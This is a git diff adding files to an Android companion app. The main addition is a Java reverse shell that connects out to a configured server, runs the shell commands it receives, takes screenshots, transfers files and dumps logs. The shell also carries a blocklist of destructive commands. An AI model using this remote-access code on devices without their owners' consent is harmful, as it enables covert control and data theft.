+ private static String jsonResponse(String stdout, String stderr, int exitCode) { + return "{\"stdout\":" + jsonEscape(stdout) + + ",\"stderr\":" + jsonEscape(stderr) + + ",\"exit_code\":" + exitCode + "}"; + } + + private static String jsonEscape(String s) { + if (s == null) return "\"\""; + StringBuilder sb = new StringBuilder("\""); + for (int i = 0; i < s.length(); i++) { + char c = s.charAt(i); + switch (c) { + case '"': sb.append("\\\""); break; + case '\\': sb.append("\\\\"); break; + case '\b': sb.append("\\b"); break; + case '\f': sb.append("\\f"); break; + case '\n': sb.append("\\n"); break; + case '\r': sb.append("\\r"); break; + case '\t': sb.append("\\t"); break; + default: + if (c < 0x20) { + sb.append(String.format("\\u%04x", (int) c)); + } else { + sb.append(c); + } + } + } + sb.append("\""); + return sb.toString(); + } + + private static String extractJsonString(String json, String key) { + // Pattern: "key":"value" or "key": "value" + String search = "\"" + key + "\""; + int idx = json.indexOf(search); + if (idx < 0) return null; + + idx = json.indexOf(':', idx + search.length()); + if (idx < 0) return null; + + // Skip whitespace + idx++; + while (idx < json.length() && json.charAt(idx) == ' ') idx++; + + if (idx >= json.length() || json.charAt(idx) != '"') return null; + idx++; // skip opening quote + + StringBuilder sb = new StringBuilder(); + while (idx < json.length()) { + char c = json.charAt(idx); + if (c == '\\' && idx + 1 < json.length()) { + char next = json.charAt(idx + 1); + switch (next) { + case '"': sb.append('"'); break; + case '\\': sb.append('\\'); break; + case 'n': sb.append('\n'); break; + case 'r': sb.append('\r'); break; + case 't': sb.append('\t'); break; + default: sb.append(next); break; + } + idx += 2; + } else if (c == '"') { + break; + } else { + sb.append(c); + idx++; + } + } + return sb.toString(); + } + + private static int extractJsonInt(String json, String key, int defaultVal) { + String search = "\"" + key + "\""; + int idx = json.indexOf(search); + if (idx < 0) return defaultVal; + + idx = json.indexOf(':', idx + search.length()); + if (idx < 0) return defaultVal; + + idx++; + while (idx < json.length() && json.charAt(idx) == ' ') idx++; + + StringBuilder sb = new StringBuilder(); + while (idx < json.length() && (Character.isDigit(json.charAt(idx)) || json.charAt(idx) == '-')) { + sb.append(json.charAt(idx)); + idx++; + } + + try { + return Integer.parseInt(sb.toString()); + } catch (NumberFormatException e) { + return defaultVal; + } + } + + // ── Logging ───────────────────────────────────────────────────── + + private static void log(String msg) { + String timestamp = new SimpleDateFormat("HH:mm:ss", Locale.US).format(new Date()); + String line = timestamp + " [" + TAG + "] " + msg; + System.out.println(line); + + try { + FileWriter fw = new FileWriter(LOG_FILE, true); + fw.write(line + "\n"); + fw.close(); + } catch (IOException ignored) { + // Can't write log file — not fatal + } + } +} diff --git a/autarch_companion/app/src/main/java/com/darkhal/archon/server/ArchonShell.java b/autarch_companion/app/src/main/java/com/darkhal/archon/server/ArchonShell.java new file mode 100644 index 0000000..b34a439 --- /dev/null +++ b/autarch_companion/app/src/main/java/com/darkhal/archon/server/ArchonShell.java @@ -0,0 +1,659 @@ +package com.darkhal.archon.server; + +import java.io.BufferedReader; +import java.io.File; +import java.io.FileWriter; +import java.io.IOException; +import java.io.InputStreamReader; +import java.io.OutputStreamWriter; +import java.io.PrintWriter; +import java.net.InetSocketAddress; +import java.net.Socket; +import java.text.SimpleDateFormat; +import java.util.Date; +import java.util.Locale; +import java.util.concurrent.TimeUnit; +import java.util.concurrent.atomic.AtomicBoolean; + +/** + * Archon Reverse Shell — outbound shell connecting back to AUTARCH server. + * + * Runs via app_process at shell (UID 2000) level, same as ArchonServer. + * Instead of LISTENING, this CONNECTS OUT to the AUTARCH server's RevShellListener. + * + * Started via ADB: + * CLASSPATH=/data/app/.../base.apk app_process /system/bin \ + * --nice-name=archon_shell com.darkhal.archon.server.ArchonShell \ + * + * + * Protocol (JSON over TCP, newline-delimited): + * Auth handshake (client → server): + * {"type":"auth","token":"xxx","device":"model","android":"14","uid":2000} + * Server response: + * {"type":"auth_ok"} or {"type":"auth_fail","reason":"..."} + * + * Command (server → client): + * {"type":"cmd","cmd":"pm list packages","timeout":30,"id":"abc123"} + * Response (client → server): + * {"type":"result","id":"abc123","stdout":"...","stderr":"...","exit_code":0} + * + * Special commands (server → client): + * {"type":"cmd","cmd":"__sysinfo__","id":"..."} + * {"type":"cmd","cmd":"__packages__","id":"..."} + * {"type":"cmd","cmd":"__screenshot__","id":"..."} + * {"type":"cmd","cmd":"__download__","id":"...","path":"/sdcard/file.txt"} + * {"type":"cmd","cmd":"__upload__","id":"...","path":"/sdcard/file.txt","data":"base64..."} + * {"type":"cmd","cmd":"__processes__","id":"..."} + * {"type":"cmd","cmd":"__netstat__","id":"..."} + * {"type":"cmd","cmd":"__dumplog__","id":"...","lines":100} + * {"type":"cmd","cmd":"__disconnect__"} + * + * Keepalive (bidirectional): + * {"type":"ping"} → {"type":"pong"} + */ +public class ArchonShell { + + private static final String TAG = "ArchonShell"; + private static final String LOG_FILE = "/data/local/tmp/archon_shell.log"; + private static final int DEFAULT_TIMEOUT = 30; + private static final int CONNECT_TIMEOUT_MS = 10000; + private static final int KEEPALIVE_INTERVAL_MS = 30000; + + // Same safety blocklist as ArchonServer + private static final String[] BLOCKED_PATTERNS = { + "rm -rf /", + "rm -rf /*", + "mkfs", + "dd if=/dev/zero", + "reboot", + "shutdown", + "init 0", + "init 6", + "flash_image", + "erase_image", + "format_data", + "> /dev/block", + }; + + private static String serverIp; + private static int serverPort; + private static String authToken; + private static int timeoutMinutes; + private static final AtomicBoolean running = new AtomicBoolean(true); + private static long startTime; + private static int commandCount = 0; + + public static void main(String[] args) { + if (args.length < 4) { + System.err.println("Usage: ArchonShell "); + System.exit(1); + } + + serverIp = args[0]; + serverPort = Integer.parseInt(args[1]); + authToken = args[2]; + timeoutMinutes = Integer.parseInt(args[3]); + startTime = System.currentTimeMillis(); + + log("Starting Archon Shell — connecting to " + serverIp + ":" + serverPort); + log("PID: " + android.os.Process.myPid() + " UID: " + android.os.Process.myUid()); + log("Timeout: " + timeoutMinutes + " minutes"); + + // Shutdown hook + Runtime.getRuntime().addShutdownHook(new Thread(() -> { + log("Shutdown hook triggered"); + running.set(false); + })); + + // Start timeout watchdog + Thread watchdog = new Thread(() -> { + long deadline = startTime + (timeoutMinutes * 60L * 1000L); + while (running.get()) { + if (System.currentTimeMillis() > deadline) { + log("Auto-timeout after " + timeoutMinutes + " minutes"); + running.set(false); + break; + } + try { Thread.sleep(5000); } catch (InterruptedException e) { break; } + } + }); + watchdog.setDaemon(true); + watchdog.start(); + + // Connect and run shell loop + Socket socket = null; + try { + socket = new Socket(); + socket.connect(new InetSocketAddress(serverIp, serverPort), CONNECT_TIMEOUT_MS); + socket.setSoTimeout(KEEPALIVE_INTERVAL_MS * 2); // Read timeout for keepalive detection + socket.setKeepAlive(true); + + log("Connected to " + serverIp + ":" + serverPort); + + BufferedReader reader = new BufferedReader(new InputStreamReader(socket.getInputStream())); + PrintWriter writer = new PrintWriter(new OutputStreamWriter(socket.getOutputStream()), true); + + // Send auth handshake + if (!authenticate(writer, reader)) { + log("Authentication failed — disconnecting"); + System.exit(3); + } + + log("Authenticated — entering shell loop"); + + // Main command loop: read commands from server, execute, return results + shellLoop(reader, writer); + + } catch (IOException e) { + log("Connection failed: " + e.getMessage()); + System.exit(2); + } finally { + if (socket != null) { + try { socket.close(); } catch (IOException ignored) {} + } + } + + log("Shell stopped — " + commandCount + " commands executed"); + System.exit(0); + } + + private static boolean authenticate(PrintWriter writer, BufferedReader reader) throws IOException { + // Gather device info + String model = getSystemProp("ro.product.model", "unknown"); + String androidVer = getSystemProp("ro.build.version.release", "unknown"); + int uid = android.os.Process.myUid(); + + String authMsg = "{\"type\":\"auth\",\"token\":" + jsonEscape(authToken) + + ",\"device\":" + jsonEscape(model) + + ",\"android\":" + jsonEscape(androidVer) + + ",\"uid\":" + uid + "}"; + + writer.println(authMsg); + writer.flush(); + + // Wait for auth response + String response = reader.readLine(); + if (response == null) return false; + + String type = extractJsonString(response, "type"); + if ("auth_ok".equals(type)) { + return true; + } + + String reason = extractJsonString(response, "reason"); + log("Auth rejected: " + (reason != null ? reason : "unknown reason")); + return false; + } + + private static void shellLoop(BufferedReader reader, PrintWriter writer) { + while (running.get()) { + try { + String line = reader.readLine(); + if (line == null) { + log("Server closed connection"); + running.set(false); + break; + } + + String type = extractJsonString(line, "type"); + if (type == null) continue; + + switch (type) { + case "cmd": + handleCommand(line, writer); + break; + case "ping": + writer.println("{\"type\":\"pong\"}"); + writer.flush(); + break; + case "disconnect": + log("Server requested disconnect"); + running.set(false); + break; + default: + log("Unknown message type: " + type); + break; + } + + } catch (java.net.SocketTimeoutException e) { + // Send keepalive ping + writer.println("{\"type\":\"ping\"}"); + writer.flush(); + } catch (IOException e) { + log("Connection error: " + e.getMessage()); + running.set(false); + break; + } + } + } + + private static void handleCommand(String json, PrintWriter writer) { + String cmd = extractJsonString(json, "cmd"); + String id = extractJsonString(json, "id"); + int timeout = extractJsonInt(json, "timeout", DEFAULT_TIMEOUT); + + if (cmd == null || cmd.isEmpty()) { + sendResult(writer, id, "", "No command specified", -1); + return; + } + + commandCount++; + log("CMD[" + commandCount + "] " + (cmd.length() > 80 ? cmd.substring(0, 80) + "..." : cmd)); + + // Handle special commands + switch (cmd) { + case "__sysinfo__": + handleSysinfo(writer, id); + return; + case "__packages__": + handlePackages(writer, id); + return; + case "__screenshot__": + handleScreenshot(writer, id); + return; + case "__processes__": + handleProcesses(writer, id); + return; + case "__netstat__": + handleNetstat(writer, id); + return; + case "__dumplog__": + int lines = extractJsonInt(json, "lines", 100); + handleDumplog(writer, id, lines); + return; + case "__download__": + String dlPath = extractJsonString(json, "path"); + handleDownload(writer, id, dlPath); + return; + case "__upload__": + String ulPath = extractJsonString(json, "path"); + String ulData = extractJsonString(json, "data"); + handleUpload(writer, id, ulPath, ulData); + return; + case "__disconnect__": + log("Disconnect command received"); + running.set(false); + sendResult(writer, id, "Disconnecting", "", 0); + return; + } + + // Safety check + if (isBlocked(cmd)) { + log("BLOCKED dangerous command: " + cmd); + sendResult(writer, id, "", "Command blocked by safety filter", -1); + return; + } + + // Execute regular shell command + String response = executeCommand(cmd, timeout); + writer.println(addId(response, id)); + writer.flush(); + } + + // ── Special command handlers ──────────────────────────────────── + + private static void handleSysinfo(PrintWriter writer, String id) { + StringBuilder info = new StringBuilder(); + info.append("Device: ").append(getSystemProp("ro.product.model", "?")).append("\n"); + info.append("Manufacturer: ").append(getSystemProp("ro.product.manufacturer", "?")).append("\n"); + info.append("Android: ").append(getSystemProp("ro.build.version.release", "?")).append("\n"); + info.append("SDK: ").append(getSystemProp("ro.build.version.sdk", "?")).append("\n"); + info.append("Build: ").append(getSystemProp("ro.build.display.id", "?")).append("\n"); + info.append("Kernel: ").append(getSystemProp("ro.build.kernel.id", "?")).append("\n"); + info.append("SELinux: ").append(readFile("/sys/fs/selinux/enforce", "?")).append("\n"); + info.append("UID: ").append(android.os.Process.myUid()).append("\n"); + info.append("PID: ").append(android.os.Process.myPid()).append("\n"); + info.append("Uptime: ").append((System.currentTimeMillis() - startTime) / 1000).append("s\n"); + info.append("Commands: ").append(commandCount).append("\n"); + + // Disk usage + String df = quickExec("df -h /data 2>/dev/null | tail -1", 5); + if (df != null && !df.isEmpty()) info.append("Disk: ").append(df.trim()).append("\n"); + + // Memory + String mem = quickExec("cat /proc/meminfo | head -3", 5); + if (mem != null) info.append(mem); + + sendResult(writer, id, info.toString(), "", 0); + } + + private static void handlePackages(PrintWriter writer, String id) { + String result = quickExec("pm list packages -f 2>/dev/null", 30); + sendResult(writer, id, result != null ? result : "", result == null ? "Failed" : "", result != null ? 0 : -1); + } + + private static void handleScreenshot(PrintWriter writer, String id) { + // Capture screenshot to temp file, then base64 encode + String tmpFile = "/data/local/tmp/archon_screenshot.png"; + String captureResult = quickExec("screencap -p " + tmpFile + " 2>&1", 10); + + if (captureResult == null || new File(tmpFile).length() == 0) { + sendResult(writer, id, "", "Screenshot failed: " + (captureResult != null ? captureResult : "unknown"), -1); + return; + } + + // Base64 encode — read in chunks to avoid memory issues + String b64 = quickExec("base64 " + tmpFile + " | tr -d '\\n'", 30); + quickExec("rm " + tmpFile, 5); + + if (b64 != null && !b64.isEmpty()) { + sendResult(writer, id, b64, "", 0); + } else { + sendResult(writer, id, "", "Failed to encode screenshot", -1); + } + } + + private static void handleProcesses(PrintWriter writer, String id) { + String result = quickExec("ps -A -o PID,UID,STAT,NAME 2>/dev/null || ps -A 2>/dev/null", 10); + sendResult(writer, id, result != null ? result : "", result == null ? "Failed" : "", result != null ? 0 : -1); + } + + private static void handleNetstat(PrintWriter writer, String id) { + StringBuilder sb = new StringBuilder(); + + String tcp = quickExec("cat /proc/net/tcp 2>/dev/null", 5); + if (tcp != null) { sb.append("=== TCP ===\n").append(tcp).append("\n"); } + + String tcp6 = quickExec("cat /proc/net/tcp6 2>/dev/null", 5); + if (tcp6 != null) { sb.append("=== TCP6 ===\n").append(tcp6).append("\n"); } + + String udp = quickExec("cat /proc/net/udp 2>/dev/null", 5); + if (udp != null) { sb.append("=== UDP ===\n").append(udp).append("\n"); } + + sendResult(writer, id, sb.toString(), "", 0); + } + + private static void handleDumplog(PrintWriter writer, String id, int lines) { + String result = quickExec("logcat -d -t " + Math.min(lines, 5000) + " 2>/dev/null", 15); + sendResult(writer, id, result != null ? result : "", result == null ? "Failed" : "", result != null ? 0 : -1); + } + + private static void handleDownload(PrintWriter writer, String id, String path) { + if (path == null || path.isEmpty()) { + sendResult(writer, id, "", "No path specified", -1); + return; + } + + File file = new File(path); + if (!file.exists()) { + sendResult(writer, id, "", "File not found: " + path, -1); + return; + } + + if (file.length() > 50 * 1024 * 1024) { // 50MB limit + sendResult(writer, id, "", "File too large (>50MB): " + file.length(), -1); + return; + } + + String b64 = quickExec("base64 '" + path.replace("'", "'\\''") + "' | tr -d '\\n'", 60); + if (b64 != null && !b64.isEmpty()) { + // Send with metadata + String meta = "{\"type\":\"result\",\"id\":" + jsonEscape(id != null ? id : "") + + ",\"stdout\":" + jsonEscape(b64) + + ",\"stderr\":\"\",\"exit_code\":0" + + ",\"filename\":" + jsonEscape(file.getName()) + + ",\"size\":" + file.length() + "}"; + writer.println(meta); + writer.flush(); + } else { + sendResult(writer, id, "", "Failed to read file", -1); + } + } + + private static void handleUpload(PrintWriter writer, String id, String path, String data) { + if (path == null || path.isEmpty()) { + sendResult(writer, id, "", "No path specified", -1); + return; + } + if (data == null || data.isEmpty()) { + sendResult(writer, id, "", "No data specified", -1); + return; + } + + // Write base64 data to temp file, then decode to destination + String tmpFile = "/data/local/tmp/archon_upload_tmp"; + try { + FileWriter fw = new FileWriter(tmpFile); + fw.write(data); + fw.close(); + + String result = quickExec("base64 -d " + tmpFile + " > '" + path.replace("'", "'\\''") + "' 2>&1", 30); + quickExec("rm " + tmpFile, 5); + + File dest = new File(path); + if (dest.exists()) { + sendResult(writer, id, "Uploaded " + dest.length() + " bytes to " + path, "", 0); + } else { + sendResult(writer, id, "", "Upload failed: " + (result != null ? result : "unknown"), -1); + } + } catch (IOException e) { + sendResult(writer, id, "", "Upload error: " + e.getMessage(), -1); + } + } + + // ── Command execution ────────────────────────────────────────── + + private static boolean isBlocked(String cmd) { + String lower = cmd.toLowerCase(Locale.ROOT).trim(); + for (String pattern : BLOCKED_PATTERNS) { + if (lower.contains(pattern.toLowerCase(Locale.ROOT))) { + return true; + } + } + return false; + } + + private static String executeCommand(String cmd, int timeoutSec) { + try { + ProcessBuilder pb = new ProcessBuilder("sh", "-c", cmd); + pb.redirectErrorStream(false); + Process process = pb.start(); + + StringBuilder stdout = new StringBuilder(); + StringBuilder stderr = new StringBuilder(); + + Thread stdoutThread = new Thread(() -> { + try (BufferedReader br = new BufferedReader(new InputStreamReader(process.getInputStream()))) { + String line; + while ((line = br.readLine()) != null) { + if (stdout.length() > 0) stdout.append("\n"); + stdout.append(line); + } + } catch (IOException ignored) {} + }); + + Thread stderrThread = new Thread(() -> { + try (BufferedReader br = new BufferedReader(new InputStreamReader(process.getErrorStream()))) { + String line; + while ((line = br.readLine()) != null) { + if (stderr.length() > 0) stderr.append("\n"); + stderr.append(line); + } + } catch (IOException ignored) {} + }); + + stdoutThread.start(); + stderrThread.start(); + + boolean completed = process.waitFor(timeoutSec, TimeUnit.SECONDS); + + if (!completed) { + process.destroyForcibly(); + stdoutThread.join(1000); + stderrThread.join(1000); + return jsonResult(stdout.toString(), "Command timed out after " + timeoutSec + "s", -1); + } + + stdoutThread.join(5000); + stderrThread.join(5000); + + return jsonResult(stdout.toString(), stderr.toString(), process.exitValue()); + + } catch (Exception e) { + return jsonResult("", "Execution error: " + e.getMessage(), -1); + } + } + + /** Quick exec for internal use — returns stdout or null on failure. */ + private static String quickExec(String cmd, int timeoutSec) { + try { + ProcessBuilder pb = new ProcessBuilder("sh", "-c", cmd); + pb.redirectErrorStream(true); + Process process = pb.start(); + + StringBuilder output = new StringBuilder(); + Thread reader = new Thread(() -> { + try (BufferedReader br = new BufferedReader(new InputStreamReader(process.getInputStream()))) { + String line; + while ((line = br.readLine()) != null) { + if (output.length() > 0) output.append("\n"); + output.append(line); + } + } catch (IOException ignored) {} + }); + reader.start(); + + boolean completed = process.waitFor(timeoutSec, TimeUnit.SECONDS); + if (!completed) { + process.destroyForcibly(); + } + reader.join(2000); + return output.toString(); + } catch (Exception e) { + return null; + } + } + + private static String getSystemProp(String key, String defaultVal) { + String result = quickExec("getprop " + key, 5); + return (result != null && !result.isEmpty()) ? result.trim() : defaultVal; + } + + private static String readFile(String path, String defaultVal) { + String result = quickExec("cat " + path + " 2>/dev/null", 5); + return (result != null && !result.isEmpty()) ? result.trim() : defaultVal; + } + + // ── JSON helpers ─────────────────────────────────────────────── + + private static void sendResult(PrintWriter writer, String id, String stdout, String stderr, int exitCode) { + String msg = "{\"type\":\"result\",\"id\":" + jsonEscape(id != null ? id : "") + + ",\"stdout\":" + jsonEscape(stdout) + + ",\"stderr\":" + jsonEscape(stderr) + + ",\"exit_code\":" + exitCode + "}"; + writer.println(msg); + writer.flush(); + } + + private static String jsonResult(String stdout, String stderr, int exitCode) { + return "{\"type\":\"result\",\"stdout\":" + jsonEscape(stdout) + + ",\"stderr\":" + jsonEscape(stderr) + + ",\"exit_code\":" + exitCode + "}"; + } + + private static String addId(String jsonResult, String id) { + if (id == null || id.isEmpty()) return jsonResult; + // Insert id field after opening brace + return "{\"type\":\"result\",\"id\":" + jsonEscape(id) + "," + jsonResult.substring(1); + } + + private static String jsonEscape(String s) { + if (s == null) return "\"\""; + StringBuilder sb = new StringBuilder("\""); + for (int i = 0; i < s.length(); i++) { + char c = s.charAt(i); + switch (c) { + case '"': sb.append("\\\""); break; + case '\\': sb.append("\\\\"); break; + case '\b': sb.append("\\b"); break; + case '\f': sb.append("\\f"); break; + case '\n': sb.append("\\n"); break; + case '\r': sb.append("\\r"); break; + case '\t': sb.append("\\t"); break; + default: + if (c < 0x20) { + sb.append(String.format("\\u%04x", (int) c)); + } else { + sb.append(c); + } + } + } + sb.append("\""); + return sb.toString(); + } + + private static String extractJsonString(String json, String key) { + String search = "\"" + key + "\""; + int idx = json.indexOf(search); + if (idx < 0) return null; + + idx = json.indexOf(':', idx + search.length()); + if (idx < 0) return null; + idx++; + + while (idx < json.length() && json.charAt(idx) == ' ') idx++; + if (idx >= json.length() || json.charAt(idx) != '"') return null; + idx++; + + StringBuilder sb = new StringBuilder(); + while (idx < json.length()) { + char c = json.charAt(idx); + if (c == '\\' && idx + 1 < json.length()) { + char next = json.charAt(idx + 1); + switch (next) { + case '"': sb.append('"'); break; + case '\\': sb.append('\\'); break; + case 'n': sb.append('\n'); break; + case 'r': sb.append('\r'); break; + case 't': sb.append('\t'); break; + default: sb.append(next); break; + } + idx += 2; + } else if (c == '"') { + break; + } else { + sb.append(c); + idx++; + } + } + return sb.toString(); + } + + private static int extractJsonInt(String json, String key, int defaultVal) { + String search = "\"" + key + "\""; + int idx = json.indexOf(search); + if (idx < 0) return defaultVal; + + idx = json.indexOf(':', idx + search.length()); + if (idx < 0) return defaultVal; + idx++; + + while (idx < json.length() && json.charAt(idx) == ' ') idx++; + + StringBuilder sb = new StringBuilder(); + while (idx < json.length() && (Character.isDigit(json.charAt(idx)) || json.charAt(idx) == '-')) { + sb.append(json.charAt(idx)); + idx++; + } + + try { + return Integer.parseInt(sb.toString()); + } catch (NumberFormatException e) { + return defaultVal; + } + } + + // ── Logging ──────────────────────────────────────────────────── + + private static void log(String msg) { + String timestamp = new SimpleDateFormat("HH:mm:ss", Locale.US).format(new Date()); + String line = timestamp + " [" + TAG + "] " + msg; + System.out.println(line); + + try { + FileWriter fw = new FileWriter(LOG_FILE, true); + fw.write(line + "\n"); + fw.close(); + } catch (IOException ignored) {} + } +} diff --git a/autarch_companion/app/src/main/kotlin/com/darkhal/archon/LoginActivity.kt b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/LoginActivity.kt new file mode 100644 index 0000000..02704b5 --- /dev/null +++ b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/LoginActivity.kt @@ -0,0 +1,151 @@ +package com.darkhal.archon + +import android.content.Intent +import android.os.Bundle +import android.os.Handler +import android.os.Looper +import android.widget.TextView +import android.widget.Toast +import androidx.appcompat.app.AppCompatActivity +import com.darkhal.archon.service.DiscoveryManager +import com.darkhal.archon.util.AuthManager +import com.darkhal.archon.util.PrefsManager +import com.google.android.material.button.MaterialButton +import com.google.android.material.textfield.TextInputEditText + +class LoginActivity : AppCompatActivity() { + + private lateinit var inputServerIp: TextInputEditText + private lateinit var inputPort: TextInputEditText + private lateinit var inputUsername: TextInputEditText + private lateinit var inputPassword: TextInputEditText + private lateinit var statusText: TextView + private lateinit var btnLogin: MaterialButton + private val handler = Handler(Looper.getMainLooper()) + + override fun onCreate(savedInstanceState: Bundle?) { + super.onCreate(savedInstanceState) + + // If already logged in, skip to main + if (AuthManager.isLoggedIn(this)) { + // Quick session check in background, but go to main immediately + startMain() + return + } + + setContentView(R.layout.activity_login) + + inputServerIp = findViewById(R.id.input_login_server_ip) + inputPort = findViewById(R.id.input_login_port) + inputUsername = findViewById(R.id.input_login_username) + inputPassword = findViewById(R.id.input_login_password) + statusText = findViewById(R.id.login_status) + btnLogin = findViewById(R.id.btn_login) + + // Pre-fill from saved settings + val savedIp = PrefsManager.getServerIp(this) + if (savedIp.isNotEmpty()) { + inputServerIp.setText(savedIp) + } + inputPort.setText(PrefsManager.getWebPort(this).toString()) + + val savedUser = AuthManager.getUsername(this) + if (savedUser.isNotEmpty()) { + inputUsername.setText(savedUser) + } + + btnLogin.setOnClickListener { doLogin() } + + findViewById(R.id.btn_login_detect).setOnClickListener { + autoDetect(it as MaterialButton) + } + + findViewById(R.id.btn_login_skip).setOnClickListener { + startMain() + } + } + + private fun doLogin() { + val serverIp = inputServerIp.text.toString().trim() + val port = inputPort.text.toString().trim().toIntOrNull() ?: 8181 + val username = inputUsername.text.toString().trim() + val password = inputPassword.text.toString().trim() + + if (serverIp.isEmpty()) { + statusText.text = "Enter server IP or tap AUTO-DETECT" + return + } + if (username.isEmpty() || password.isEmpty()) { + statusText.text = "Enter username and password" + return + } + + // Save server settings + PrefsManager.setServerIp(this, serverIp) + PrefsManager.setWebPort(this, port) + + btnLogin.isEnabled = false + btnLogin.text = "LOGGING IN..." + statusText.text = "Connecting to $serverIp:$port..." + + Thread { + val result = AuthManager.login(this@LoginActivity, username, password) + + handler.post { + btnLogin.isEnabled = true + btnLogin.text = "LOGIN" + + if (result.success) { + Toast.makeText(this@LoginActivity, "Logged in", Toast.LENGTH_SHORT).show() + startMain() + } else { + statusText.text = result.message + } + } + }.start() + } + + private fun autoDetect(btn: MaterialButton) { + btn.isEnabled = false + btn.text = "SCANNING..." + statusText.text = "Scanning for AUTARCH server..." + + val discovery = DiscoveryManager(this) + discovery.listener = object : DiscoveryManager.Listener { + override fun onServerFound(server: DiscoveryManager.DiscoveredServer) { + discovery.stopDiscovery() + handler.post { + if (server.ip.isNotEmpty()) { + inputServerIp.setText(server.ip) + } + if (server.port > 0) { + inputPort.setText(server.port.toString()) + } + statusText.text = "Found ${server.hostname} at ${server.ip}:${server.port}" + btn.isEnabled = true + btn.text = "AUTO-DETECT" + } + } + + override fun onDiscoveryStarted(method: DiscoveryManager.ConnectionMethod) {} + + override fun onDiscoveryStopped(method: DiscoveryManager.ConnectionMethod) { + handler.post { + if (discovery.getDiscoveredServers().isEmpty()) { + statusText.text = "No AUTARCH server found on network" + } + btn.isEnabled = true + btn.text = "AUTO-DETECT" + } + } + + override fun onDiscoveryError(method: DiscoveryManager.ConnectionMethod, error: String) {} + } + discovery.startDiscovery() + } + + private fun startMain() { + startActivity(Intent(this, MainActivity::class.java)) + finish() + } +} diff --git a/autarch_companion/app/src/main/kotlin/com/darkhal/archon/MainActivity.kt b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/MainActivity.kt new file mode 100644 index 0000000..5d231dd --- /dev/null +++ b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/MainActivity.kt @@ -0,0 +1,30 @@ +package com.darkhal.archon + +import android.os.Bundle +import androidx.appcompat.app.AppCompatActivity +import androidx.navigation.fragment.NavHostFragment +import androidx.navigation.ui.setupWithNavController +import com.darkhal.archon.messaging.MessagingModule +import com.darkhal.archon.module.ModuleManager +import com.google.android.material.bottomnavigation.BottomNavigationView + +class MainActivity : AppCompatActivity() { + + override fun onCreate(savedInstanceState: Bundle?) { + super.onCreate(savedInstanceState) + setContentView(R.layout.activity_main) + + // Initialize module registry + ModuleManager.init() + + // Register SMS/RCS messaging module + ModuleManager.register(MessagingModule()) + + val navHostFragment = supportFragmentManager + .findFragmentById(R.id.nav_host_fragment) as NavHostFragment + val navController = navHostFragment.navController + + val bottomNav = findViewById(R.id.bottom_nav) + bottomNav.setupWithNavController(navController) + } +} diff --git a/autarch_companion/app/src/main/kotlin/com/darkhal/archon/messaging/MessageAdapter.kt b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/messaging/MessageAdapter.kt new file mode 100644 index 0000000..90dcf22 --- /dev/null +++ b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/messaging/MessageAdapter.kt @@ -0,0 +1,283 @@ +package com.darkhal.archon.messaging + +import android.graphics.Color +import android.graphics.drawable.GradientDrawable +import android.view.LayoutInflater +import android.view.View +import android.view.ViewGroup +import android.widget.TextView +import androidx.recyclerview.widget.RecyclerView +import com.darkhal.archon.R +import java.text.SimpleDateFormat +import java.util.Calendar +import java.util.Date +import java.util.Locale +import java.util.concurrent.TimeUnit + +/** + * RecyclerView adapter for the conversation list view. + * Shows each conversation with contact avatar, name/number, snippet, date, and unread badge. + */ +class ConversationAdapter( + private val conversations: MutableList, + private val onClick: (MessagingRepository.Conversation) -> Unit +) : RecyclerView.Adapter() { + + inner class ViewHolder(itemView: View) : RecyclerView.ViewHolder(itemView) { + val avatarText: TextView = itemView.findViewById(R.id.avatar_text) + val avatarBg: View = itemView.findViewById(R.id.avatar_bg) + val contactName: TextView = itemView.findViewById(R.id.contact_name) + val snippet: TextView = itemView.findViewById(R.id.message_snippet) + val dateText: TextView = itemView.findViewById(R.id.conversation_date) + val unreadBadge: TextView = itemView.findViewById(R.id.unread_badge) + + init { + itemView.setOnClickListener { + val pos = adapterPosition + if (pos != RecyclerView.NO_POSITION) { + onClick(conversations[pos]) + } + } + } + } + + override fun onCreateViewHolder(parent: ViewGroup, viewType: Int): ViewHolder { + val view = LayoutInflater.from(parent.context) + .inflate(R.layout.item_conversation, parent, false) + return ViewHolder(view) + } + + override fun onBindViewHolder(holder: ViewHolder, position: Int) { + val conv = conversations[position] + + // Avatar — first letter of contact name or number + val displayName = conv.contactName ?: conv.address + val initial = displayName.firstOrNull()?.uppercase() ?: "#" + holder.avatarText.text = initial + + // Avatar background color — deterministic based on address + val avatarDrawable = GradientDrawable() + avatarDrawable.shape = GradientDrawable.OVAL + avatarDrawable.setColor(getAvatarColor(conv.address)) + holder.avatarBg.background = avatarDrawable + + // Contact name / phone number + holder.contactName.text = displayName + + // Snippet (most recent message) + holder.snippet.text = conv.snippet + + // Date + holder.dateText.text = formatConversationDate(conv.date) + + // Unread badge + if (conv.unreadCount > 0) { + holder.unreadBadge.visibility = View.VISIBLE + holder.unreadBadge.text = if (conv.unreadCount > 99) "99+" else conv.unreadCount.toString() + } else { + holder.unreadBadge.visibility = View.GONE + } + } + + override fun getItemCount(): Int = conversations.size + + fun updateData(newConversations: List) { + conversations.clear() + conversations.addAll(newConversations) + notifyDataSetChanged() + } + + /** + * Format date for conversation list display. + * Today: show time (3:45 PM), This week: show day (Mon), Older: show date (12/25). + */ + private fun formatConversationDate(timestamp: Long): String { + if (timestamp <= 0) return "" + + val now = System.currentTimeMillis() + val diff = now - timestamp + val date = Date(timestamp) + + val today = Calendar.getInstance() + today.set(Calendar.HOUR_OF_DAY, 0) + today.set(Calendar.MINUTE, 0) + today.set(Calendar.SECOND, 0) + today.set(Calendar.MILLISECOND, 0) + + return when { + timestamp >= today.timeInMillis -> { + // Today — show time + SimpleDateFormat("h:mm a", Locale.US).format(date) + } + diff < TimeUnit.DAYS.toMillis(7) -> { + // This week — show day name + SimpleDateFormat("EEE", Locale.US).format(date) + } + diff < TimeUnit.DAYS.toMillis(365) -> { + // This year — show month/day + SimpleDateFormat("MMM d", Locale.US).format(date) + } + else -> { + // Older — show full date + SimpleDateFormat("M/d/yy", Locale.US).format(date) + } + } + } + + /** + * Generate a deterministic color for a contact's avatar based on their address. + */ + private fun getAvatarColor(address: String): Int { + val colors = intArrayOf( + Color.parseColor("#E91E63"), // Pink + Color.parseColor("#9C27B0"), // Purple + Color.parseColor("#673AB7"), // Deep Purple + Color.parseColor("#3F51B5"), // Indigo + Color.parseColor("#2196F3"), // Blue + 